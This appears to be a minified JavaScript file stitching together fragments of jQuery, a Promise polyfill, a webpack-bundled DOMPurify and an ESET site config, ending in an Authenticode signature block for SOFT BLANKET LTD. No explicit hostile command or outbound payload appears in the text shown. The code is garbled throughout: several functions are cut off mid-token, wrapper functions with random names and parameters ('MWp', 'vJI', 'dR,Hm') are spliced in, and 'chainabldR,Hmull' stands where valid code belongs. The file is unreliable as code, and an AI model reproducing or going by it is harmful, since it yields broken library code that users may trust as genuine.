if(s.ifModified){jQuery.lastModified[cacheURL]&&jqXHR.setRequestHeader("If-Modified-Since",jQuery.lastModified[cacheURL]);jQuery.etag[cacheURL]&&jqXHR.setRequestHeader("If-None-Match",jQuery.etag[cacheURL])}
(s.data&&s.hasContent&&!1!==s.contentType||options.contentType)&&jqXHR.setRequestHeader("Content-Type",s.contentType);jqXHR.setRequestHeader("Accept",s.dataTypes[0]&&s.accepts[s.dataTypes[0]]?s.accepts[s.dataTypes[0]]+("*"!==s.dataTypes[0]?", "+allTypes+"; q=0.01":""):s.accepts["*"]);for(i in s.headers)
jqXHR.setRequestHeader(i,s.headers[i]);if(s.beforeSend&&(!1===s.beforeSend.call(callbackContext,jqXHR,s)||2===state))
return jqXHR.abort();strAbort="abort";for(i in{"success":1,"error":1,"complete":1})
jqXHR[i](s[i]);transport=inspectPrefiltersOrTransports(transports,s,options,jqXHR);if(transport){jqXHR.readyState=1;fireGlobals&&globalEventContext.trigger("ajaxSend",[jqXHR,s]);s.async&&s.timeout>0&&(timeoutTimer=setTimeout(function(){jqXHR.abort("timeout")},s.timeout));try{state=1;transport.send(requestHeaders,done)}catch(e){if(!(state<2))
throw e;done(-1,e)}}else
done(-1,"No Transport");return jqXHR},"getJSON":function(url,data,callback){return jQuery.get(url,data,callback,"json")},"getScript":function(url,callback){return jQuery.get(url,void 0,callback,"script")}});jQuery.each(["get","post"],function(i,method){jQuery[method]=function(url,data,callback,type){if(jQuery.isFunction(data)){type=type||callback;callback=data;data=void 0}
return jQuery.ajax({"url":url,"type":method,"dataType":type,"data":data,"success":callback})}});jQuery._evalUrl=function(url){return jQuery.ajax({"url":url,"type":"GET","dataType":"script","async":!1,"global":!1,"throws":!0})};jQuery.fn.extend({"wrapAll":function(html){if(jQuery.isFunction(html))
return this.each(function(i){jQuery(this).wrapAll(html.call(this,i))});if(this[0]){var wrap=jQuery(html,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&wrap.insertBefore(this[0]);wrap.map(function(){for(var elem=this;elem.firstChild&&1===elem.firstChild.nodeType;)
elem=elem.firstChild;return elem}).append(this)}
return this},"wrapInner":function(html){return jQuery.isFunction(html)?this.each(function(i){jQuery(this).wrapInner(html.call(this,i))}):this.each(function(){var self=jQuery(this),contents=self.contents();contents.length?contents.wrapAll(html):self.append(html)})},"wrap":function(html){var isFunction=jQuery.isFunction(html);return this.each(function(i){jQuery(this).wrapAll(isFunction?html.call(this,i):html)})},"unwrap":function(){return this.parent().each(function(){jQuery.nodeName(this,"body")||jQuery(this).replaceWith(this.childNodes)}).end()}});jQuery.expr.filters.hidden=function(elem){return elem.offsetWidth<=0&&elem.offsetHeight<=0||!support.reliableHiddenOffsets()&&"none"===(elem.style&&elem.style.display||jQuery.css(elem,"display"))};jQuery.expr.filters.visible=function(elem){return!jQuery.expr.filters.hidden(elem)};var r20=/%20/g,rbracket=/\[\]$/,rCRLF=/\r?\n/g,rsubmitterTypes=/^(?:submit|button|image|reset|file)$/i,rsubmittable=/^(?:input|select|textarea|keygen)/i;jQuery.param=function(a,traditional)
jQuery.each(a,function(){add(this.name,this.value)});else
for(prefix in a)
buildParams(prefix,a[prefix],traditional,add);return s.join("&").replace(r20,"+")};jQuery.fn.extend({"serialize":function(){return jQuery.param(this.serializeArray())},"serializeArray":function(){return this.map(function(){var elements=jQuery.prop(this,"elements");return elements?jQuery.makeArray(elements):this}).filter(function(){var type=this.type;return this.name&&!jQuery(this).is(":disabled")&&rsubmittable.test(this.nodeName)&&!rsubmitterTypes.test(type)&&(this.checked||!rcheckableType.test(type))}).map(function(i,elem){var val=jQuery(this).val();return null==val?null:jQuery.isArray(val)?jQuery.map(val,function(val){return{"name":elem.name,"value":val.replace(rCRLF,"\r\n")}}):{"name":elem.name,"value":val.replace(rCRLF,"\r\n")}}).get()}});jQuery.ajaxSettings.xhr=void 0!==window.ActiveXObject?function(){return!this.isLocal&&/^(get|post|head|put|delete|options)$/i.test(this.type)&&createStandardXHR()||createActiveXHR()}:createStandardXHR;var xhrId=0,xhrCallbacks={},xhrSupported=jQuery.ajaxSettings.xhr();win
xhrCallbacks[key](void 0,!0)});support.cors=!!xhrSupported&&"withCredentials"in xhrSupported;xhrSupported=support.ajax=!!xhrSupported;xhrSupported&&jQuery.ajaxTransport(function(options){if(!options.crossDomain||support.cors){var callback;return{"send":function(headers,complete){var i,xhr=options.xhr(),id=++xhrId;xhr.open(options.type,options.url,options.async,options.username,options.password);if(options.xhrFields)
for(i in options.xhrFields)
xhr[i]=options.xhrFields[i];options.mimeType&&xhr.overrideMimeType&&xhr.overrideMimeType(options.mimeType);options.crossDomain||headers["X-Requested-With"]||(headers["X-Requested-With"]="XMLHttpRequest");for(i in headers)
void 0!==headers[i]&&xhr.setRequestHeader(i,headers[i]+"");xhr.send(options.hasContent&&options.data||null);callback=function(_,isAbort){var status,statusText,responses;if(callback&&(isAbort||4===xhr.readyState)){delete xhrCallbacks[id];callback=void 0;xhr.onreadystatechange=jQuery.noop;if(isAbort)
4!==xhr.readyState&&xhr.abort();else{responses={};status=xhr.status;"string"==typeof xhr.responseText&&(responses.text=xhr.responseText);try{statusText=xhr.statusText}catch(e){statusText=""}
status||!options.isLocal||options.crossDomain?1223===status&&(status=204):status=responses.text?200:404}}
responses&&complete(status,statusText,responses,xhr.getAllResponseHeaders())};options.async?4===xhr.readyState?setTimeout(callback):xhr.onreadystatechange=xhrCallbacks[id]=callback:callback()},"abort":function(){callback&&callback(void 0,!0)}}}});jQuery.ajaxSetup({"accepts":{"script":"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},"contents":{"script":/(?:java|ecma)script/},"converters":{"text script":function(text){jQuery.globalEval(text);return text}}});jQuery.ajaxPrefilter("script",function(s){void 0===s.cache&&(s.cache=!1);if(s.crossDomain){s.type="GET";s.global=!1}});jQuery.ajaxTransport("script",function(s){if(s.crossDomain){var script,head=document.head||jQuery("head")[0]||document.documentElement;return{"send":function(_,callback){script=document.createElement("script");script.async=!0;s.scriptCharset&&(script.charset=s.scriptCharset);script.src=s.url;script.onload=script.onreadystatechange=function(_,isAbort){if(isAbort||!script.readyState||/loaded|complet
responseContainer&&jQuery.isFunction(overwritten)&&overwritten(responseContainer[0]);responseContainer=overwritten=void 0});return"script"}});jQuery.parseHTML=function(data,context,keepScripts){if(!data||"string"!=typeof data)
return null;if("boolean"==typeof context){keepScripts=context;context=!1}
context=context||document;var parsed=rsingleTag.exec(data),scripts=!keepScripts&&[];if(parsed)
return[context.createElement(parsed[1])];parsed=jQuery.buildFragment([data],context,scripts);scripts&&scripts.length&&jQuery(scripts).remove();return jQuery.merge([],parsed.childNodes)};var _load=jQuery.fn.load;jQuery.fn.load=function(url,params,callback){if("string"!=typeof url&&_load)
return _load.apply(this,arguments);var selector,response,type,self=this,off=url.indexOf(" ");if(off>=0){selector=jQuery.trim(url.slice(off,url.length));url=url.slice(0,off)}
if(jQuery.isFunction(params)){callback=params;params=void 0}else
params&&"object"==typeof params&&(type="POST");self.length>0&&jQuery.ajax({"url":url,"type":type,"dataType":"html","data":params}).done(function(responseText){response=arguments;self.html(selector?jQuery("<div>").append(jQuery.parseHTML(responseText)).find(selector):responseText)}).complete(callback&&function(jqXHR,status){self.each(callback,response||[jqXHR.responseText,status,jqXHR])});return this};jQuery.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(i,type){jQuery.fn[type]=function(fn){return this.on(type,fn)}});jQuery.expr.filters.animated=function(elem){return jQuery.grep(jQuery.timers,function(fn){return elem===fn.elem}).length};var docElem=window.document.documentElement;jQuery.offset={"setOffset":function(elem,options,i){var curPosition,curLeft,curCSSTop,curTop,curOffset,curCSSLeft,calculatePosition,position=jQuery.css(elem,"position"),curElem=jQuery(elem),props={};"static"===position&&(elem.style.position="relative");curOffset=curElem.offset();curCSSTop=jQ
jQuery.isFunction(options)&&(options=options.call(elem,i,curOffset));null!=options.top&&(props.top=options.top-curOffset.top+curTop);null!=options.left&&(props.left=options.left-curOffset.left+curLeft);"using"in options?options.using.call(elem,props):curElem.css(props)}};jQuery.fn.extend({"offset":function(options){if(arguments.length)
return void 0===options?this:this.each(function(i){jQuery.offset.setOffset(this,options,i)});var docElem,win,box={"top":0,"left":0},elem=this[0],doc=elem&&elem.ownerDocument;if(doc){docElem=doc.documentElement;if(!jQuery.contains(docElem,elem))
return box;typeof elem.getBoundingClientRect!==strundefined&&(box=elem.getBoundingClientRect());win=getWindow(doc);return{"top":box.top+(win.pageYOffset||docElem.scrollTop)-(docElem.clientTop||0),"left":box.left+(win.pageXOffset||docElem.scrollLeft)-(docElem.clientLeft||0)}}},"position":function(){if(this[0]){var offsetParent,offset,parentOffset={"top":0,"left":0},elem=this[0];if("fixed"===jQuery.css(elem,"position"))
offset=elem.getBoundingClientRect();else{offsetParent=this.offsetParent();offset=this.offset();jQuery.nodeName(offsetParent[0],"html")||(parentOffset=offsetParent.offset());parentOffset.top+=jQuery.css(offsetParent[0],"borderTopWidth",!0);parentOffset.left+=jQuery.css(offsetParent[0],"borderLeftWidth",!0)}
return{"top":offset.top-parentOffset.top-jQuery.css(elem,"marginTop",!0),"left":offset.left-parentOffset.left-jQuery.css(elem,"marginLeft",!0)}}},"offsetParent":function(){return this.map(function(){for(var offsetParent=this.offsetParent||docElem;offsetParent&&!jQuery.nodeName(offsetParent,"html")&&"static"===jQuery.css(offsetParent,"position");)
offsetParent=offsetParent.offsetParent;return offsetParent||docElem})}});jQuery.each({"scrollLeft":"pageXOffset","scrollTop":"pageYOffset"},function(method,prop){var top=/Y/.test(prop);jQuery.fn[method]=function(val){return access(this,function(elem,method,val){var win=getWindow(elem);if(void 0===val)
return win?prop in win?win[prop]:win.document.documentElement[method]:elem[method];win?win.scrollTo(top?jQuery(win).scrollLeft():val,top?val:jQuery(win).scrollTop()):elem[method]=val},method,val,arguments.length,null)}});jQuery.each(["top","left"],function(i,prop){jQuery.cssHooks[prop]=addGetHookIf(support.pixelPosition,function(elem,computed){if(computed){computed=curCSS(elem,prop);return rnumnonpx.test(computed)?jQuery(elem).position()[prop]+"px":computed}})});jQuery.each({"Height":"height","Width":"width"},function(name,type){jQuery.each({"padding":"inner"+name,"content":type,"":"outer"+name},function(defaultExtra,funcName){jQuery.fn[funcName]=function(margin,value){var chainable=arguments.length&&(defaultExtra||"boolean"!=typeof margin),extra=defaultExtra||(!0===margin||!0===value?"margin":"border");return access(this,function(elem,type,value){var doc;if(jQuery.isWindow(elem))
return elem.document.documentElement["client"+name];if(9===elem.nodeType){doc=elem.documentElement;return Math.max(elem.body["scroll"+name],doc["scroll"+name],elem.body["offset"+name],doc["offset"+name],doc["client"+name])}
return void 0===value?jQuery.css(elem,type,extra):jQuery.style(elem,type,value,extra)},type,chainable?margin:void 0,chainabldR,Hmull)}})});jQuery.fn.size=function(){return this.length};jQuery.fn.andSelf=jQuery.fn.addBack;"function"==typeof define&&define.amd&&define("jquery",[],function(){return jQuery});var _jQuery=window.jQuery,_$=window.$;jQuery.noConflict=function(deep){window.$===jQuery&&(window.$=_$);deep&&window.jQuery===jQuery&&(window.jQuery=_jQuery);return jQuery};typeof noGlobal===strundefined&&(window.jQuery=window.$=jQuery);return jQuery}
function MWp(dR,Hm){"object"==typeof exports&&"undefined"!=typeof module?n():"function"==typeof define&&define.amd?define(n):n()}
function vJI(gv,CE,yQ,yH,Ac){"use strict";function e(){}
function n(e){if(!(this instanceof n))
throw new TypeError("Promises must be constructed via new");if("function"!=typeof e)
throw new TypeError("not a function");this._state=0,this._handled=!1,this._value=void 0,this._deferreds=[],f(e,this)}
function t(e,t){for(;3===e._state;)
e=e._value;0!==e._state?(e._handled=!0,n._immediateFn(function(){var n=1===e._state?t.onFulfilled:t.onRejected;if(null!==n){var i;try{i=n(e._value)}catch(f){return void r(t.promise,f)}
o(t.promise,i)}else
(1===e._state?o:r)(t.promise,e._value)})):e._deferreds.push(t)}
function o(e,t){try{if(t===e)
throw new TypeError("A promise cannot be resolved with itself.");if(t&&("object"==typeof t||"function"==typeof t)){var o=t.then;if(t instanceof n)
return e._state=3,e._value=t,void i(e);if("function"==typeof o)
return void f(function(dR,Hm){return function(){e.apply(n,arguments)}}(o,t),e)}
e._state=1,e._value=t,i(e)}catch(u){r(e,u)}}
function r(dR,Hm){e._state=2,e._value=n,i(e)}
function i(e){2===e._state&&0===e._deferreds.length&&n._immediateFn(function(){e._handled||n._unhandledRejectionFn(e._value)});for(var o=0,r=e._deferreds.length;r>o;o++)
t(e,e._deferreds[o]);e._deferreds=null}}
function FAd(Oe,sR,Ug){var I;window,I=function(){return function(e){var t={};function n(i){if(t[i])
return t[i].exports;var r=t[i]={i:i,l:!1,exports:{}};return e[i].call(r.exports,r,r.exports,n),r.l=!0,r.exports}
return n.m=e,n.c=t,n.d=function(e,t,i){n.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:i})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)
return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)
return e;var i=Object.create(null);if(n.r(i),Object.defineProperty(i,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)
for(var r in e)
n.d(i,r,function(t){return e[t]}.bind(null,r));return i}
n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=2)}([function(module,exports,__webpack_require__){eval("/*! @license DOMPurify 2.3.5 | (c) Cure53 and other contributors | Released under the Apache license 2.0 and Mozilla Public License 2.0 | github.com/cure53/DOMPurify/blob/2.3.5/LICENSE */\n\n(function (global, factory) {\n true ? module.exports = factory() :\n undefined;\n}(this, function () { 'use strict';\n\n function _toConsumableArray(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } else { return Array.from(arr); } }\n\n var hasOwnProperty = Object.hasOwnProperty,\n setPrototypeOf = Object.setPrototypeOf,\n isFrozen = Object.isFrozen,\n getPrototypeOf = Object.getPrototypeOf,\n getOwnPropertyDescriptor = Object.getOwnPropertyDescriptor;\n var freeze = Object.freeze,\n seal = Object.seal,\n create = Object.create; // eslint-disable-line import/no-mutable
function SOz(){"use strict";var i;void 0===(i=function(){var e={share:{providers:[{id:"facebook",name:"Facebook",shareUrl:"https://www.facebook.com/sharer/sharer.php?u={0}",apiUrl:"http://graph.facebook.com/?id={0}&callback=?",countKey:"shares"},{id:"twitter",name:"Twitter",shareUrl:"https://twitter.com/intent/tweet?url={0}&text=What do you want to say about this? {1}&via=ESET",apiUrl:"http://cdn.api.twitter.com/1/urls/count.json?url={0}&callback=?",countKey:"count"},{id:"linkedin",name:"LinkedIn",shareUrl:"http://www.linkedin.com/shareArticle?mini=true&url={0}",apiUrl:"http://www.linkedin.com/countserv/count/share?url={0}&callback=?",countKey:"count"}]},viewports:{xxs:320,xs:480,sm:768,md:990,lg:1200,xl:1550},elements:{search:"#search",sidebar:"#sidebar"},regions:{window:$(window),document:$(document),html:$(document.documentElement),body:$("body"),header:$("#header"),footer:$("#footer"),content:$("#content"),sidebar:$("#sidebar"),hero:$(".hero"),sneaky:$("#sneaky"),sneakyLeft:$("#sneaky-left"),sneakyRight:$
window.main.webpack.Init();
// SIG // Begin signature block
// SIG // MIImRgYJKoZIhvcNAQcCoIImNzCCJjMCAQExDzANBglghkgBZQMEAgEFADB3Bgor
// SIG // BgEEAYI3AgEEoGkwZzAyBgorBgEEAYI3AgEeMCQCAQEEEBDgyQbOONQRoqMAEEvT
// SIG // UJACAQACAQACAQACAQACAQAwMTANBglghkgBZQMEAgEFAAQgEWwnYhC2WE5958Qg
// SIG // 0sKygaerhzRmsNeExcmS+jjPWg6gghOSMIIF6zCCA9OgAwIBAgIIVrYpzTS8ePYw
// SIG // DQYJKoZIhvcNAQELBQAwgYIxCzAJBgNVBAYTAlVTMQ4wDAYDVQQIDAVUZXhhczEQ
// SIG // MA4GA1UEBwwHSG91c3RvbjEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9uMTcwNQYD
// SIG // VQQDDC5TU0wuY29tIEVWIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgUlNB
// SIG // IFIyMB4XDTE3MDUzMTE4MTQzN1oXDTQyMDUzMDE4MTQzN1owgYIxCzAJBgNVBAYT
// SIG // AlVTMQ4wDAYDVQQIDAVUZXhhczEQMA4GA1UEBwwHSG91c3RvbjEYMBYGA1UECgwP
// SIG // U1NMIENvcnBvcmF0aW9uMTcwNQYDVQQDDC5TU0wuY29tIEVWIFJvb3QgQ2VydGlm
// SIG // aWNhdGlvbiBBdXRob3JpdHkgUlNBIFIyMIICIjANBgkqhkiG9w0BAQEFAAOCAg8A
// SIG // MIICCgKCAgEAjzZlQOHWTcDXtOlG2mvqM0fNTPl9fb69LT3w23jhhqXZuglXaO1X
// SIG // PqDQCEGD5yhBJB/jchXQARr7XnAjssufOePPxU7Gkm0mxnu7s9onnQqG6YE3Bf7w
// SIG // cXHswxzpY6IXFJ3vG2fThVUCAtZJycxa4bH3bzKfydQ7iEGonL3Lq9ttewkfokxy
// SIG // kNorCPzPPFTOZw+oz12WGQvE43LrrdF9HSfvkusQv1vrO6/PgN3B0pYEW3p+pKk8
// SIG // OHakYo6gOV7qd89dAFmPZiw+B6KjBSYRaZfqhbcPlgtLyEDhULouisv3D5oi53+a
// SIG // NxPN8k0TayHRwMwi8qFG9kRpnMphNQcAb9ZhCBHqurj26bNg5U257J8UZslXWNvN
// SIG // h2n4ioYSA0e/ZhN2rHd9NCSFg83XqpyQGp8hLH94t2S42Oim9HizVcuE0jLEeK6j
// SIG // j2HdzghTreyI/BXkmg3mnxp3zkyPuBQVPWKchjgGAGYS5Fl2WlPAApiiECtoRHuO
// SIG // ec4zSnaqW4EWG7WK2NAAe15itAnWhmMOpgWVSbooi4iTsjQc2KRVbrcc0N6ZVTsj
// SIG // 9CLg+SlmJuwgUHfbSguPvuUCYHBBXtSuUDkiFCbLsjtzdFVHB3mBOagwE0TlBIqu
// SIG // lhMlQg+5U8Sb/M3kHN48+qvWBkofZ6aYMBzdLNvcGJVXZsb/XItW9XcCAwEAAaNj
// SIG // MGEwDwYDVR0TAQH/BAUwAwEB/zAfBgNVHSMEGDAWgBT5YLvU49U09rj1BoAlp3Pb
// SIG // RmmonjAdBgNVHQ4EFgQU+WC71OPVNPa49QaAJadz20ZpqJ4wDgYDVR0PAQH/BAQD
// SIG // AgGGMA0GCSqGSIb3DQEBCwUAA4ICAQBWs47LCp1Jjr+kxJG7ZhcFUZh1++VQLHqe
// SIG // 8RT6q9OKPv+RKY9ji9i0qVQBDb6Thi/5Sm3HXvVX+cpVHBK+Rw82xd9qt9t1wkcl
// SIG // f7nxY/hoLVUE0fKNsKTPvDxeH3jnpaAgcLAExbf3cqfeIg29MyVGjGSSJuM+LmOW
// SIG // 2puMPfgYCdcDzH2GguDKBAdRUNf/ktUM79qGn5nX67evaOI5JpS6aLe/g9Pqemc9
// SIG // YmeuJeVy6OLk7K4S9ksrPJ/psEDzOFSz/bdoyNrGj1E8svuR3Bznm53htw1yj+Kk
// SIG // xKl4+esUrMZDBcJlOSgYAsOCsp0FvmXtll9ldDz7CTUue5wT/RsPXcdtgTpWD8w7
// SIG // 4a8CLyKsRspGPKAcTNZEtF4uXBVmCeEmKf7GUmG6sXP/wwyc5WxqlD8UykAWlYTz
// SIG // WamsX0xhk23RO8yilQwipmdnRC652dKKQbNmC1r7fSOl8hqw/96bg5Qu0T/fkreR
// SIG // rwU7ZcegbLHNYhLDkBvjJc40vG93drEQw/cFGsDWr3RiSBd3kmmQYRzelYB0VI8Y
// SIG // HMPzA9C/pEN1hlMYegouCRw2n5H9gooiS9EOUCXdywMMF8mDAAhONU2Ki+3wApRm
// SIG // LER/y5UnlhetCTCstnEXbosX9hwJ1C07mKVx01QT2WDz9UtmT/rx7iASjbSsV7FF
// SIG // Y6GsdqnC+zCCBrwwggSkoAMCAQICEDruEgDZHtNXLialz2EA1vEwDQYJKoZIhvcN
// SIG // AQELBQAwezELMAkGA1UEBhMCVVMxDjAMBgNVBAgMBVRleGFzMRAwDgYDVQQHDAdI
// SIG // b3VzdG9uMREwDwYDVQQKDAhTU0wgQ29ycDE3MDUGA1UEAwwuU1NMLmNvbSBFViBD
// SIG // b2RlIFNpZ25pbmcgSW50ZXJtZWRpYXRlIENBIFJTQSBSMzAeFw0yMzExMDMyMDI3
// SIG // MDRaFw0yNDExMDIyMDI3MDRaMIGtMQswCQYDVQQGEwJHQjEQMA4GA1UECAwHRW5n
// SIG // bGFuZDEPMA0GA1UEBwwGTG9uZG9uMRkwFwYDVQQKDBBTT0ZUIEJMQU5LRVQgTFRE
// SIG // MREwDwYDVQQFEwgxMzIyMDQ4NzEZMBcGA1UEAwwQU09GVCBCTEFOS0VUIExURDEd
// SIG // MBsGA1UEDwwUUHJpdmF0ZSBPcmdhbml6YXRpb24xEzARBgsrBgEEAYI3PAIBAxMC
// SIG // R0IwggGiMA0GCSqGSIb3DQEBAQUAA4IBjwAwggGKAoIBgQDJiChw0nMOi99bg2+9
// SIG // MdpayskIWH5mYUffnxhX17jl4rrkkDhoU6Ldpf0OiGd8Xdm/C7eq0tHGcGFKQMCq
// SIG // SUUl1CVseOJI4Nj6D6ES1yBrmxsLTTQr8GP2x98j5elw1qZLG4glwhnT1wNSZ0b3
// SIG // 6JeBqy6NRwEzJLIWQrWJQ6pFH5hV6nzz8C0nocZmtX01BhShdawCuO6blyyMTaAY
// SIG // cDRB8wJuoMxyvPTNDZsDgZ8n7j8SHZcupVgRUfvGzA/YOgxalU8W0AvkkG4J1Zra
// SIG // Ud2Fhh8NBHOGYs3JNE3vQlAlt3OYJ6RQaYxCpdEyjLxRWZDgTz4gC03cDkYz6g2P
// SIG // l4F4EpwG9n+aDD3ptZ8KseDC8frAlPEh/QQ7LSfhbV/Ig2bwrzMtYga4xBXJ6Z9e
// SIG // GGs7to0kl4tfO9RyUCQWjnxKD/x6z3iWFvf9dVYva+xhkWcuBs2n548QZAsVk2aG
// SIG // MXzcqdNPKCxM9eGwT4sE3QG3PfAbvOE6UQdI87cFeKnlrx8CAwEAAaOCAYcwggGD
// SIG // MAwGA1UdEwEB/wQCMAAwHwYDVR0jBBgwFoAUNr1J/zEs669qQP6ZwBbtuvxI3V8w
// SIG // WwYIKwYBBQUHAQEETzBNMEsGCCsGAQUFBzAChj9odHRwOi8vY2VydC5zc2wuY29t
// SIG // L1NTTGNvbS1TdWJDQS1FVi1Db2RlU2lnbmluZy1SU0EtNDA5Ni1SMy5jZXIwXwYD
// SIG // VR0gBFgwVjAHBgVngQwBAzANBgsqhGgBhvZ3AgUBBzA8BgwrBgEEAYKpMAEDAwIw
// SIG // LDAqBggrBgEFBQcCARYeaHR0cHM6Ly93d3cuc3NsLmNvbS9yZXBvc2l0b3J5MBMG
// SIG // A1UdJQQMMAoGCCsGAQUFBwMDMFAGA1UdHwRJMEcwRaBDoEGGP2h0dHA6Ly9jcmxz
// SIG // LnNzbC5jb20vU1NMY29tLVN1YkNBLUVWLUNvZGVTaWduaW5nLVJTQS00MDk2LVIz
// SIG // LmNybDAdBgNVHQ4EFgQURPZ7HgCY4hTaRbDkeMbXtP8HJgUwDgYDVR0PAQH/BAQD
// SIG // AgeAMA0GCSqGSIb3DQEBCwUAA4ICAQBtduFO307v7o67RYrAjZ+O2s6I8o4jkbf4
// SIG // V5fL7kxmhXzFJICcSHAnXdaOGLEIdKtQf1dyY6PeXi+OIIsrZpgGbXcXJ9BvbBz0
// SIG // gNbZGB3RL/5LvOoVkcrTBwd6VQ4yW7Rp9wSZ6PYEpbqP6UZhfw0cmLjAPuPhqaLd
// SIG // 49RovSnjgFBAHZPDRtfwIW594RyoI0ptzQab6NXWVabQyL4xELyXF1HmKQHktRzx
// SIG // 1tywz+RvSyxrmy7sEj3TXfrqCLg1PJvZeST7V9fW3XLi3eA+0TXrgT6sBjv0oONx
// SIG // tXyoAjKDWWkMLPRTtLTghIdfLSXZvnubQbTNufsGRBZcc2EaO2U64xqZS2VmQoBm
// SIG // xDVa6H9a3XTwBjw0a2qbFGToRxNpRXR+FUo9MyCSgtR3Tl0o7LJAnhH8c8dlUrUB
// SIG // mbTY6nhf2dXV8suB9q/TgzplMy/dY66qqXaWFv/WH4gfp/Kt4LvYxPTiOmDOWeAa
// SIG // skpRrevBV3+OO5YfIO7njsQkTx2DbN6HG/S6EzpLdo3MeK/fC0kglKgzXHbX/wkU
// SIG // cnPdotM8ReEKl0eorY2ZNPYYtEv0fPuoK07Avo9bj/AXg/lUUN03un0Ca0erqu6Z
// SIG // cJCD0VAG16I6TRR432pA0EXc8Sdl8C18uoYESnxh4Sbn7egcWCt91mIaTG1Q4n1O
// SIG // MLPc2svlJDCCBt8wggTHoAMCAQICEEJLalPOx2YUHCpjsaUcQQQwDQYJKoZIhvcN
// SIG // AQELBQAwgYIxCzAJBgNVBAYTAlVTMQ4wDAYDVQQIDAVUZXhhczEQMA4GA1UEBwwH
// SIG // SG91c3RvbjEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9uMTcwNQYDVQQDDC5TU0wu
// SIG // Y29tIEVWIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgUlNBIFIyMB4XDTE5
// SIG // MDMyNjE3NDQyM1oXDTM0MDMyMjE3NDQyM1owezELMAkGA1UEBhMCVVMxDjAMBgNV
// SIG // BAgMBVRleGFzMRAwDgYDVQQHDAdIb3VzdG9uMREwDwYDVQQKDAhTU0wgQ29ycDE3
// SIG // MDUGA1UEAwwuU1NMLmNvbSBFViBDb2RlIFNpZ25pbmcgSW50ZXJtZWRpYXRlIENB
// SIG // IFJTQSBSMzCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAPCqN/crIZEg
// SIG // Zzo5jhXlIbpaEyqNUdBzPb2uAYwTe9Z++GZj7fR7K5LxvmNr96g3ZXYNfDSnUrHY
// SIG // ePBf6Z93emE+g2bsZs63pD19GpWvHV1/xZVJoNjqvSPmlD+ZbiVGOMRVmDg8qfTl
// SIG // rnna+3VuAB8QP7GPAv9CrpL89dNaCSVSY4jdX/SRKBYVq1QunPHe4NvSMmkhZ0Zt
// SIG // V1+bytE3f6dpJx6uO2pessYKoD1gHnx2xRyjAmVzhDFl7f5VaJusIdGdhH7qAc/k
// SIG // 50tMGF1kgXc2aMcD+MrENvafEmzdRBkL6WB+CSvbmjw2z46hHAH3dbX2b4cLA1rP
// SIG // mNfLKFCXpaHyqCEc+7FMNeoYWxbHRVwAIHlviNNQb3D3xdJDHxeSfjGWqUG6Q/K5
// SIG // 0Y3GaJLgm4qA1nnWKV/mwIGK8ssOTRg2C3WqSTbtI84XzlGHKdDYDKKiZv/b55MT
// SIG // i3yUyWtRjVLWO++KDeS9/jihWmhZ2AfntTWwkDg8Wy0iEJcHO7KyMmBhxjgVbLC6
// SIG // tX6D+TyyKh6/rc1Yp49vO2w3366ILEffER2o1xS0Za9P9qJJsmFwCv7ZThd4V16J
// SIG // JdLEHkrTnnPqFGgpAiJR/c8UBC7/HvOUlJ1zUKyqqStDcSGOdjKWKBBZK+w/IOku
// SIG // 5tPjZiUROJxpQ+rTJKT/oiXqCA4oWJzpAgMBAAGjggFVMIIBUTASBgNVHRMBAf8E
// SIG // CDAGAQH/AgEAMB8GA1UdIwQYMBaAFPlgu9Tj1TT2uPUGgCWnc9tGaaieMHwGCCsG
// SIG // AQUFBwEBBHAwbjBKBggrBgEFBQcwAoY+aHR0cDovL3d3dy5zc2wuY29tL3JlcG9z
// SIG // aXRvcnkvU1NMY29tLVJvb3RDQS1FVi1SU0EtNDA5Ni1SMi5jcnQwIAYIKwYBBQUH
// SIG // MAGGFGh0dHA6Ly9vY3Nwcy5zc2wuY29tMBEGA1UdIAQKMAgwBgYEVR0gADATBgNV
// SIG // HSUEDDAKBggrBgEFBQcDAzBFBgNVHR8EPjA8MDqgOKA2hjRodHRwOi8vY3Jscy5z
// SIG // c2wuY29tL1NTTGNvbS1Sb290Q0EtRVYtUlNBLTQwOTYtUjIuY3JsMB0GA1UdDgQW
// SIG // BBQ2vUn/MSzrr2pA/pnAFu26/EjdXzAOBgNVHQ8BAf8EBAMCAYYwDQYJKoZIhvcN
// SIG // AQELBQADggIBAHKP+oFIgpHiYIMlW3uPL5QPg1jOiCT6mUJOLU43ififsR6udEB5
// SIG // +d7L9/8sJRBSmECPVDj/XdEqqVrmtwK7yH/uKtP/f8w2PFUpQ102SZYmXXDn8isF
// SIG // Z0dMmVgZCPaxxk9g0vw4vgKsJdGIDaUs4d3TfVfPasMZYNJtql17ROhaW4PbyBs2
// SIG // Cn4K9QpSNnjimvsTVMycyUe/Yk41rz7hug/Jk+7VILeWt1B2UjV6naE7JmQ3H868
// SIG // A3vEYYFSicx7/loFGkeu5BLKjlTjWp+wwYry+V9GaLmvx9k+hNErJRI4PbuaAerf
// SIG // zGaotsUfapNHsM4GkoStQ4NqhjlcTOICS3hzrkso5qT4YWmAzP806LAvZAJJDY0u
// SIG // H33roYYFD+1ecDTlGAIA62O+dSZtpxyQVweumaWON9Knw1hspfTnUiI1p1u7butI
// SIG // 25py3qpaYkkJnpArEg/IOtuvaHOd2eN5ypj5aB3q5lguqRhszZk6ms0mcETmZpic
// SIG // JR4ZasfY8+f/pjV3+/V9u4yCx299VDK76pkLOeggURUvieMq4cUg83p4Tj2vF2KS
